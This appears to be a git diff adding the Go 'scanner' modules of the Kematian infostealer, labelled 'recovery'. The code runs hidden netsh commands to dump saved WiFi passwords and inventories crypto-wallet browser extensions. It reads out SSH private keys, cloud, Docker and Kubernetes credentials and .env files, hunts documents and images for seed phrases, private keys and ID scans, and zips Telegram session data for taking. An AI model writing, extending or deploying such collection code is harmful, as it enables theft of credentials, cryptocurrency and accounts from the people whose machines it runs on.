strings.TrimSpace(line[idx+2:]) + if name != "" { + profiles = append(profiles, name) + } + } + } + } + + for _, name := range profiles { + cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} + out, err := cmd.Output() + if err != nil { + continue + } + + password := "" + auth := "" + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if idx := strings.Index(line, ": "); idx >= 0 { + lower := strings.ToLower(line[:idx]) + val := strings.TrimSpace(line[idx+2:]) + if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") { + password = val + } else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") { + auth = val + } + } + } + + results = append(results, types.AppCredentialResult{ + Application: "WiFi", + Host: name, + Username: auth, + Password: password, + Protocol: "wifi", + }) + } + + return results +} diff --git a/Kematian-Standalone/native/recovery/scanner/extensions.go b/Kematian-Standalone/native/recovery/scanner/extensions.go new file mode 100644 index 0000000..527254c --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/extensions.go @@ -0,0 +1,147 @@ +package scanner + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + + "recovery/recovery/browser" + "recovery/recovery/types" +) + +var knownWalletExtensions = map[string]string{ + "bhghoamapcdpbohphigoooaddinpkbai": "Authenticator", + "fhbohimaelbohpjbbldcngcnapndodjp": "Binance", + "fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp", + "aodkkagnadcbobfpggfnjeongemjbjca": "BoltX", + "aeachknmefphepccionboohckonoeemg": "Coin98", + "hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase", + "agoakfejjabomempkjlepdflaleeobhb": "Core", + "pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit", + "blnieiiffboillknjnepogjhkgnoapac": "Equal", + "cgeeodpfagjceefieflmdfphplkenlfk": "Ever", + "aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3", + "ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha", + "cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie", + "hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda", + "nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild", + "fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony", + "flpiciilemghbmfalicajoolhkkenfel": "Iconex", + "cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty", + "jblndlipeogpafnldhgmapagcccfchpi": "Kaikas", + "pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain", + "dmkamcknogkgcdfhhbddcghachkejeap": "Keplr", + "kpfopkelmapcoipemfendmdcghnegimn": "Liquality", + "nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX", + "dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI", + "efbglgofoippbgcjepnhiblaibcnclgk": "Martian", + "afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math", + "nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask", + "ejbalbakoplchlghecdalmeeeajnimhm": "Metamask", + "fcckkdbjnoikooededlapcalpionmalo": "Mobox", + "lpfcbjknijpeeillifnkikgncikgfhdo": "Nami", + "jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty", + "fhilaheimglignddkjgofkcbgekhenbh": "Oxygen", + "mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet", + "ejjladinnckdgjemekebdpeokbikhfci": "Petra", + "bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom", + "phkbamefinggmakgklpkljjmgibohnba": "Pontem", + "fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin", + "lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal", + "nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn", + "pocmplpaccanhmnllbbkpgfliimjljgo": "Slope", + "bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare", + "fhmfendgdocmcbmfikdcogofphimnkno": "Sollet", + "mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin", + "cmndjbecilbocjfkibfbifhngkdmjgog": "Swash", + "ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos", + "aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation", + "mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket", + "nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton", + "ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron", + "egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet", + "amkmjjmmflddogmhpjloimipbofnfjih": "Wombat", + "hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI", + "eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT", + "bocpokimicclpaiekenaeelehdjllofo": "XinPay", + "ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi", + "kncchdigobghenbbaddojjnnaogfppfj": "iWallet", +} + +func ScanExtensions() []types.ExtensionResult { + var results []types.ExtensionResult + for _, cfg := range browser.Browsers { + if cfg.IsFirefox { + continue + } + profiles := browser.FindProfileDirs(cfg) + for _, profile := range profiles { + extDir := filepath.Join(profile.Path, "Extensions") + entries, err := os.ReadDir(extDir) + if err != nil { + continue + } + for _, e := range entries { + if !e.IsDir() { + continue + } + extID := e.Name() + // Skip internal Chromium marker dirs + if strings.HasPrefix(extID, "_") { + continue + } + extIDDir := filepath.Join(extDir, extID) + versionDirs, err := os.ReadDir(extIDDir) + if err != nil { + continue + } + for _, vd := range versionDirs { + if !vd.IsDir() { + continue + } + versionPath := filepath.Join(extIDDir, vd.Name()) + name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json")) + category := "" + if walletName, ok := knownWalletExtensions[extID]; ok { + category = "wallet" + if name == "" { + name = walletName + } + } + results = append(results, types.ExtensionResult{ + ExtID: extID, + Name: name, + Version: version, + Browser: cfg.Name, + Profile: profile.Name, + Path: versionPath, + Category: category, + }) + break // first version directory only + } + } + } + } + return results +} + +type manifestBasics struct { + Name string `json:"name"` + Version string `json:"version"` +} + +func readManifestBasics(path string) (name, version string) { + data, err := os.ReadFile(path) + if err != nil { + return "", "" + } + var m manifestBasics + if err := json.Unmarshal(data, &m); err != nil { + return "", "" + } + if strings.HasPrefix(m.Name, "__MSG_") { + m.Name = "" + } + return m.Name, m.Version +} diff --git a/Kematian-Standalone/native/recovery/scanner/files.go b/Kematian-Standalone/native/recovery/scanner/files.go new file mode 100644 index 0000000..136960d --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/files.go @@ -0,0 +1,170 @@ +package scanner + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +const ( + maxFiles = 500 + maxScanDepth = 3 + maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing + MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch +) + +var targetExtensions = map[string]bool{ + // Office documents + ".docx": true, ".doc": true, ".docm": true, + ".xlsx": true, ".xls": true, ".xlsm": true, + ".pptx": true, ".ppt": true, ".pptm": true, + ".odt": true, ".ods": true, ".odp": true, + // Plain text / markup + ".txt": true, ".rtf": true, ".md": true, + ".csv": true, ".tsv": true, + // PDFs + ".pdf": true, + // Archives (metadata only — content not fetched automatically) + ".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true, + // Credential / key files + ".kdbx": true, ".key": true, ".pem": true, + ".p12": true, ".pfx": true, ".ppk": true, ".jks": true, + // Dotenv — commonly stores API keys and secrets + ".env": true, + // Images — IDs, passports, screenshots of credentials, seed phrases + ".jpg": true, ".jpeg": true, ".png": true, ".gif": true, + ".bmp": true, ".webp": true, ".tiff": true, ".tif": true, + ".heic": true, ".heif": true, +} + +// seedPhraseLengths are the BIP39 word counts we consider suspicious. +var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true} + +type scanLocation struct { + subPath string + label string +} + +// ScanFiles walks common user locations and returns matching file metadata. +// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped. +func ScanFiles() []types.FileResult { + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + var results []types.FileResult + seen := make(map[string]bool) + + for _, loc := range getScanLocations() { + dir := filepath.Join(home, loc.subPath) + scanDir(dir, loc.label, 0, &results, seen) + if len(results) >= maxFiles { + break + } + } + + return results +} + +func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) { + if depth > maxScanDepth || len(*results) >= maxFiles { + return + } + + entries, err := os.ReadDir(dir) + if err != nil { + return + } + + for _, e := range entries { + if len(*results) >= maxFiles { + return + } + + name := e.Name() + // skip hidden / system files + if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") { + continue + } + + fullPath := filepath.Join(dir, name) + + if e.IsDir() { + scanDir(fullPath, label, depth+1, results, seen) + continue + } + + ext := strings.ToLower(filepath.Ext(name)) + if !targetExtensions[ext] { + continue + } + + if seen[fullPath] { + continue + } + seen[fullPath] = true + + info, err := e.Info() + if err != nil { + continue + } + + if info.Size() > maxFileSizeList { + continue + } + + var tags []string + if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 { + tags = contentTags + } + + *results = append(*results, types.FileResult{ + Path: fullPath, + Name: name, + Ext: ext, + Size: info.Size(), + Modified: info.ModTime().Unix(), + Dir: label, + Tags: tags, + }) + } +} + +// looksLikeSeedLine returns true if every word is 3–8 lowercase letters. +// BIP39 words are exclusively lowercase a–z with lengths in that range. +func looksLikeSeedLine(words []string) bool { + if !seedPhraseLengths[len(words)] { + return false + } + for _, w := range words { + if len(w) < 3 || len(w) > 8 { + return false + } + for _, c := range w { + if c < 'a' || c > 'z' { + return false + } + } + } + return true +} + +// FetchFile reads a file and returns its raw bytes. +// Returns an error if the file exceeds MaxFetchSize or does not exist. +func FetchFile(path string) ([]byte, error) { + info, err := os.Stat(path) + if err != nil { + return nil, fmt.Errorf("file not found") + } + if info.IsDir() { + return nil, fmt.Errorf("path is a directory") + } + if info.Size() > MaxFetchSize { + return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize) + } + return os.ReadFile(path) +} diff --git a/Kematian-Standalone/native/recovery/scanner/files_unix.go b/Kematian-Standalone/native/recovery/scanner/files_unix.go new file mode 100644 index 0000000..a3a3ff9 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/files_unix.go @@ -0,0 +1,14 @@ +//go:build !windows + +package scanner + +func getScanLocations() []scanLocation { + return []scanLocation{ + {"Desktop", "Desktop"}, + {"Documents", "Documents"}, + {"Downloads", "Downloads"}, + {".local/share", ".local/share"}, + {"Dropbox", "Dropbox"}, + {"snap", "Snap"}, + } +} diff --git a/Kematian-Standalone/native/recovery/scanner/files_windows.go b/Kematian-Standalone/native/recovery/scanner/files_windows.go new file mode 100644 index 0000000..ab8eab2 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/files_windows.go @@ -0,0 +1,17 @@ +//go:build windows + +package scanner + +func getScanLocations() []scanLocation { + return []scanLocation{ + {"Desktop", "Desktop"}, + {"Documents", "Documents"}, + {"Downloads", "Downloads"}, + {`OneDrive\Desktop`, "OneDrive/Desktop"}, + {`OneDrive\Documents`, "OneDrive/Documents"}, + {`OneDrive - Personal\Desktop`, "OneDrive/Desktop"}, + {`OneDrive - Personal\Documents`, "OneDrive/Documents"}, + {`OneDrive - Business\Desktop`, "OneDrive/Desktop"}, + {`OneDrive - Business\Documents`, "OneDrive/Documents"}, + } +} diff --git a/Kematian-Standalone/native/recovery/scanner/keys.go b/Kematian-Standalone/native/recovery/scanner/keys.go new file mode 100644 index 0000000..11c82a3 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/keys.go @@ -0,0 +1,313 @@ +package scanner + +import ( + "os" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" +) + +const maxKeyFileSize = 512 * 1024 // 512KB + +func gcpConfigDir(home string) string { + if runtime.GOOS == "windows" { + return filepath.Join(home, "AppData", "Roaming", "gcloud") + } + return filepath.Join(home, ".config", "gcloud") +} + +func ScanKeys() []types.KeyResult { + var results []types.KeyResult + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + results = append(results, scanSSHKeys(home)...) + results = append(results, scanAWSCredentials(home)...) + results = append(results, scanGCPCredentials(home)...) + results = append(results, scanAzureCredentials(home)...) + results = append(results, scanDockerCredentials(home)...) + results = append(results, scanKubeConfig(home)...) + results = append(results, scanEnvFiles(home)...) + + return results +} + +func scanSSHKeys(home string) []types.KeyResult { + sshDir := filepath.Join(home, ".ssh") + entries, err := os.ReadDir(sshDir) + if err != nil { + return nil + } + + var results []types.KeyResult + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" { + continue + } + + path := filepath.Join(sshDir, name) + info, err := e.Info() + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + + data, err := os.ReadFile(path) + if err != nil { + continue + } + content := string(data) + + if isPrivateKey(content) { + results = append(results, types.KeyResult{ + Type: "ssh", + Name: name, + Path: path, + Size: info.Size(), + Content: content, + }) + } + } + + configPath := filepath.Join(sshDir, "config") + if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize { + if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 { + results = append(results, types.KeyResult{ + Type: "ssh_config", + Name: "config", + Path: configPath, + Size: info.Size(), + Content: string(data), + }) + } + } + + return results +} + +func isPrivateKey(content string) bool { + markers := []string{ + "-----BEGIN OPENSSH PRIVATE KEY-----", + "-----BEGIN RSA PRIVATE KEY-----", + "-----BEGIN EC PRIVATE KEY-----", + "-----BEGIN DSA PRIVATE KEY-----", + "-----BEGIN PRIVATE KEY-----", + "-----BEGIN ENCRYPTED PRIVATE KEY-----", + "PuTTY-User-Key-File-", + } + for _, m := range markers { + if strings.Contains(content, m) { + return true + } + } + return false +} + +func scanAWSCredentials(home string) []types.KeyResult { + var results []types.KeyResult + awsDir := filepath.Join(home, ".aws") + + for _, name := range []string{"credentials", "config"} { + path := filepath.Join(awsDir, name) + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + results = append(results, types.KeyResult{ + Type: "aws", + Name: name, + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + + return results +} + +func scanGCPCredentials(home string) []types.KeyResult { + var results []types.KeyResult + + gcpDir := gcpConfigDir(home) + candidates := []string{ + filepath.Join(gcpDir, "application_default_credentials.json"), + filepath.Join(gcpDir, "credentials.db"), + filepath.Join(gcpDir, "properties"), + } + + for _, dir := range []string{ + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) { + candidates = append(candidates, filepath.Join(dir, name)) + } + } + } + + for _, path := range candidates { + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + content := string(data) + if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") { + results = append(results, types.KeyResult{ + Type: "gcp", + Name: filepath.Base(path), + Path: path, + Size: info.Size(), + Content: content, + }) + } + } + + return results +} + +func scanAzureCredentials(home string) []types.KeyResult { + var results []types.KeyResult + + azureDir := filepath.Join(home, ".azure") + candidates := []string{ + filepath.Join(azureDir, "accessTokens.json"), + filepath.Join(azureDir, "azureProfile.json"), + filepath.Join(azureDir, "msal_token_cache.json"), + filepath.Join(azureDir, "service_principal_entries.json"), + } + + for _, path := range candidates { + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + results = append(results, types.KeyResult{ + Type: "azure", + Name: filepath.Base(path), + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + + return results +} + +func scanDockerCredentials(home string) []types.KeyResult { + var results []types.KeyResult + + path := filepath.Join(home, ".docker", "config.json") + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return nil + } + if strings.Contains(string(data), "auths") { + results = append(results, types.KeyResult{ + Type: "docker", + Name: "config.json", + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + return results +} + +func scanKubeConfig(home string) []types.KeyResult { + var results []types.KeyResult + + path := filepath.Join(home, ".kube", "config") + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return nil + } + results = append(results, types.KeyResult{ + Type: "kubernetes", + Name: "config", + Path: path, + Size: info.Size(), + Content: string(data), + }) + return results +} + +func scanEnvFiles(home string) []types.KeyResult { + var results []types.KeyResult + + searchDirs := []string{ + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } + + for _, dir := range searchDirs { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if name != ".env" && !strings.HasPrefix(name, ".env.") { + continue + } + path := filepath.Join(dir, name) + info, err := e.Info() + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + results = append(results, types.KeyResult{ + Type: "env", + Name: name, + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + } + + return results +} diff --git a/Kematian-Standalone/native/recovery/scanner/log.go b/Kematian-Standalone/native/recovery/scanner/log.go new file mode 100644 index 0000000..121430c --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/log.go @@ -0,0 +1,7 @@ +package scanner + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[scanner] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/scanner/seeds.go b/Kematian-Standalone/native/recovery/scanner/seeds.go new file mode 100644 index 0000000..46a9fbb --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/seeds.go @@ -0,0 +1,274 @@ +package scanner + +import ( + "os" + "regexp" + "strings" + + "recovery/recovery/types" +) + +// BIP39-valid word counts +var validSeedLengths = map[int]bool{ + 12: true, 15: true, 18: true, 21: true, 24: true, +} + +const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB + +var seedScanFileExts = map[string]bool{ + ".txt": true, ".md": true, ".csv": true, ".tsv": true, + ".log": true, ".rtf": true, ".json": true, ".xml": true, + ".env": true, ".cfg": true, ".conf": true, ".ini": true, + ".bak": true, ".old": true, ".tmp": true, ".note": true, + ".doc": true, ".nfo": true, ".asc": true, ".key": true, + ".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true, +} + +// contentScanExts are the text formats read during the file listing scan to +// look for sensitive plaintext (BIP39 seed phrases, PEM private keys). +var contentScanExts = seedScanFileExts + +// privateKeyRe matches PEM private-key header lines. The optional algorithm +// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form. +var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`) + +// contentFileTags reads a small text file once and returns the security tags +// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it +// contains a PEM private-key header. Returns nil when the file is not a +// recognized text format or is too large to scan. +func contentFileTags(path, ext string, size int64) []string { + if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return nil + } + + var tags []string + content := strings.ToLower(string(data)) + if looksLikeSeedLine(strings.Fields(content)) { + tags = append(tags, "seed") + } else { + for _, line := range strings.Split(content, "\n") { + if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) { + tags = append(tags, "seed") + break + } + } + } + // PEM headers are case-sensitive, so match against the raw bytes. + if privateKeyRe.Match(data) { + tags = append(tags, "key") + } + return tags +} + +// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists +var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`) + +// ScanSeeds searches collected data for BIP39 seed phrases. +// Checks file contents, password values, and autofill values. +func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult { + seen := make(map[string]bool) + var results []types.SeedResult + + // Scan files + for _, f := range files { + if f.Size > seedScanMaxFileSize || f.Size == 0 { + continue + } + if !seedScanFileExts[f.Ext] { + continue + } + data, err := os.ReadFile(f.Path) + if err != nil { + continue + } + for _, phrase := range extractSeedPhrases(string(data)) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "file", + Path: f.Path, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + } + + // Scan passwords + for _, p := range passwords { + for _, phrase := range extractSeedPhrases(p.Password) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "password", + Path: p.URL, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + for _, phrase := range extractSeedPhrases(p.Username) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "password", + Path: p.URL, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + } + + // Scan autofill values + for _, a := range autofill { + for _, phrase := range extractSeedPhrases(a.Value) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "autofill", + Path: a.Name, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + } + + return results +} + +// extractSeedPhrases finds all BIP39-like seed phrases in text content. +// Handles: space-separated, comma-separated, numbered lists, newline-separated. +func extractSeedPhrases(content string) []string { + if len(content) == 0 { + return nil + } + + content = strings.ToLower(content) + var found []string + + // Strategy 1: full content as one phrase (file contains only the seed) + if phrase := tryExtractPhrase(content); phrase != "" { + found = append(found, phrase) + return found + } + + // Strategy 2: line-by-line (seed on one line) + for _, line := range strings.Split(content, "\n") { + line = strings.TrimSpace(line) + if line == "" { + continue + } + if phrase := tryExtractPhrase(line); phrase != "" { + found = append(found, phrase) + } + } + + // Strategy 3: numbered list — collect words from "1. word\n2. word\n..." + if phrase := tryNumberedList(content); phrase != "" { + if !containsPhrase(found, phrase) { + found = append(found, phrase) + } + } + + // Strategy 4: comma-separated words + if strings.Contains(content, ",") { + normalized := strings.ReplaceAll(content, ",", " ") + if phrase := tryExtractPhrase(normalized); phrase != "" { + if !containsPhrase(found, phrase) { + found = append(found, phrase) + } + } + } + + return found +} + +// tryExtractPhrase checks if text contains a valid seed phrase +func tryExtractPhrase(text string) string { + words := strings.Fields(text) + if isValidSeedPhrase(words) { + return strings.Join(words, " ") + } + + // Try sliding window for phrases embedded in longer text + for _, count := range []int{24, 21, 18, 15, 12} { + if len(words) < count { + continue + } + for i := 0; i <= len(words)-count; i++ { + window := words[i : i+count] + if isValidSeedPhrase(window) { + return strings.Join(window, " ") + } + } + } + return "" +} + +// tryNumberedList extracts words from numbered list format: +// "1. abandon\n2. ability\n3. able\n..." +func tryNumberedList(content string) string { + lines := strings.Split(content, "\n") + var words []string + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + cleaned := numberedLineRe.ReplaceAllString(line, "") + cleaned = strings.TrimSpace(cleaned) + if cleaned == "" { + continue + } + // Each numbered line should have exactly one word + lineWords := strings.Fields(cleaned) + if len(lineWords) == 1 && isBIP39Word(lineWords[0]) { + words = append(words, lineWords[0]) + } + } + if isValidSeedPhrase(words) { + return strings.Join(words, " ") + } + return "" +} + +func isValidSeedPhrase(words []string) bool { + if !validSeedLengths[len(words)] { + return false + } + for _, w := range words { + if !isBIP39Word(w) { + return false + } + } + return true +} + +// isBIP39Word checks if a word matches BIP39 characteristics: +// lowercase a-z only, 3-8 characters. +func isBIP39Word(w string) bool { + if len(w) < 3 || len(w) > 8 { + return false + } + for _, c := range w { + if c < 'a' || c > 'z' { + return false + } + } + return true +} + +func containsPhrase(phrases []string, phrase string) bool { + for _, p := range phrases { + if p == phrase { + return true + } + } + return false +} diff --git a/Kematian-Standalone/native/recovery/scanner/telegram.go b/Kematian-Standalone/native/recovery/scanner/telegram.go new file mode 100644 index 0000000..e393098 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/telegram.go @@ -0,0 +1,234 @@ +package scanner + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +type telegramPathConfig struct { + name string + subPath string + base string +} + +var tdataSessionFiles = map[string]bool{ + "key_datas": true, + "usertag": true, + "settings0": true, + "settings1": true, + "configs": true, +} + +func isTdataSessionDir(name string) bool { + if len(name) != 16 { + return false + } + for _, c := range name { + if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) { + return false + } + } + return true +} + +func ScanTelegram() []types.TelegramResult { + var results []types.TelegramResult + + for _, tp := range getTelegramPaths() { + base := resolveTelegramBase(tp.base) + if base == "" { + continue + } + + tdataDir := filepath.Join(base, tp.subPath) + if _, err := os.Stat(tdataDir); err != nil { + continue + } + + accounts := findTelegramAccounts(tdataDir) + for _, acc := range accounts { + results = append(results, types.TelegramResult{ + Account: acc.account, + Path: acc.path, + Files: acc.files, + Size: acc.size, + }) + } + } + + return results +} + +type telegramAccount struct { + account string + path string + files int + size int64 +} + +func findTelegramAccounts(tdataDir string) []telegramAccount { + var accounts []telegramAccount + + entries, err := os.ReadDir(tdataDir) + if err != nil { + return nil + } + + hasKeyData := false + for _, e := range entries { + if !e.IsDir() && e.Name() == "key_datas" { + hasKeyData = true + break + } + } + + if hasKeyData { + files, size := countTdataFiles(tdataDir) + if files > 0 { + accounts = append(accounts, telegramAccount{ + account: "Main", + path: tdataDir, + files: files, + size: size, + }) + } + } + + for _, e := range entries { + if !e.IsDir() { + continue + } + name := e.Name() + if !isTdataSessionDir(name) { + continue + } + sessionDir := filepath.Join(tdataDir, name) + sessionEntries, err := os.ReadDir(sessionDir) + if err != nil { + continue + } + hasData := false + for _, se := range sessionEntries { + if !se.IsDir() { + hasData = true + break + } + } + if hasData { + files, size := countTdataSessionFiles(sessionDir) + accounts = append(accounts, telegramAccount{ + account: name, + path: sessionDir, + files: files, + size: size, + }) + } + } + + return accounts +} + +func countTdataFiles(tdataDir string) (int, int64) { + var count int + var totalSize int64 + + entries, err := os.ReadDir(tdataDir) + if err != nil { + return 0, 0 + } + + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] { + info, err := e.Info() + if err != nil { + continue + } + count++ + totalSize += info.Size() + } + } + + return count, totalSize +} + +func countTdataSessionFiles(dir string) (int, int64) { + var count int + var totalSize int64 + + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + count++ + totalSize += info.Size() + return nil + }) + + return count, totalSize +} + +func ZipTelegram(path string) ([]byte, error) { + info, err := os.Stat(path) + if err != nil { + return nil, err + } + if !info.IsDir() { + return nil, os.ErrNotExist + } + + // If this is a session subfolder (hex name), just zip its contents directly + if isTdataSessionDir(filepath.Base(path)) { + return ziputil.ZipDirectory(path) + } + + // Otherwise this is the tdata root — zip key files + session subdirs + return zipTdataRoot(path) +} + +func zipTdataRoot(tdataDir string) ([]byte, error) { + entries, err := os.ReadDir(tdataDir) + if err != nil { + return nil, err + } + + var filesToZip []string + + for _, e := range entries { + name := e.Name() + if e.IsDir() { + if isTdataSessionDir(name) { + sessionDir := filepath.Join(tdataDir, name) + filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + if info.Size() < 50*1024*1024 { + filesToZip = append(filesToZip, path) + } + return nil + }) + } + } else { + if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") { + info, _ := e.Info() + if info != nil && info.Size() < 50*1024*1024 { + filesToZip = append(filesToZip, filepath.Join(tdataDir, name)) + } + } + } + } + + if len(filesToZip) == 0 { + return nil, os.ErrNotExist + } + + return ziputil.ZipFiles(filesToZip, tdataDir) +} diff --git a/Kematian-Standalone/native/recovery/scanner/telegram_unix.go b/Kematian-Standalone/native/recovery/scanner/telegram_unix.go new file mode 100644 index 0000000..70f85c0 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/telegram_unix.go @@ -0,0 +1,51 @@ +//go:build !windows + +package scanner + +import ( + "os" + "path/filepath" + "runtime" +) + +func getTelegramPaths() []telegramPathConfig { + if runtime.GOOS == "darwin" { + return []telegramPathConfig{ + {"Telegram Desktop", "Telegram Desktop/tdata", "appdata"}, + {"Kotatogram", "Kotatogram Desktop/tdata", "appdata"}, + {"64Gram", "64Gram Desktop/tdata", "appdata"}, + } + } + // Linux + return []telegramPathConfig{ + {"Telegram Desktop", "TelegramDesktop/tdata", "home_data"}, + {"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"}, + {"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"}, + {"Kotatogram", "KotatogramDesktop/tdata", "home_data"}, + {"64Gram", "64Gram Desktop/tdata", "home_data"}, + } +} + +func resolveTelegramBase(base string) string { + home, _ := os.UserHomeDir() + switch base { + case "home": + 